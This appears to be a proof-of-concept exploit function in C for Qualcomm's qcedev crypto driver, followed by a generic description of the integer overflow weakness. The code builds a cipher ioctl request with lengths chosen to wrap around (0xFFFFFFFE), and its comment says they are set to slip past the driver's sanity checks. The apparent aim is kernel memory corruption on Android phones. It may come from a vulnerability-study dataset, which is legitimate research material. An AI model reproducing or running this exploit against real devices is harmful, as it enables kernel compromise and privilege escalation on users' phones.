void thread_func(unsigned int start, unsigned int end, int fd)
{
	struct qcedev_cipher_op_req req = { 0 };
	unsigned int i;
	char *data;

	data = mmap(NULL, 0xFFFFFF * 3, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE|MAP_POPULATE, -1, 0);
	if (data == MAP_FAILED) {
		printf("mmap failed, get a better phone\n");
		exit(0);
	}
	for (i = 0; i < 0xFFFFFF * 3; i += sizeof(void*))
		*((unsigned long *)(data + i)) = 0xABADACC355001337;


	req.in_place_op = 1;
	/* setup the parameters to pass a few sanity checks */
	req.entries = 2;
	req.byteoffset = 15;
	req.mode = QCEDEV_AES_MODE_CTR;

	req.op = QCEDEV_OPER_ENC;//_NO_KEY;
	req.ivlen = 1;
	req.data_len = 0xFFFFFFFE;
	req.vbuf.src[0].len = 4;
	req.vbuf.src[1].len = 0xFFFFFFFE - 4;
	req.vbuf.src[0].vaddr = (uint8_t*)data;
	req.vbuf.src[1].vaddr = (uint8_t*)data;
	req.vbuf.dst[0].len = 4;
	req.vbuf.dst[1].len = 0xFFFFFFFE - 4;
	req.vbuf.dst[0].vaddr = (uint8_t*)data;
	req.vbuf.dst[1].vaddr = (uint8_t*)data;

	
	ioctl(fd, QCEDEV_IOCTL_ENC_REQ, &req);

	printf("exiting\n");
	exit(0);
}
The software performs a calculation that can produce an integer overflow or wraparound, when the logic assumes that the resulting value will always be larger than the original value. This can introduce other weaknesses when the calculation is used for resource management or execution control.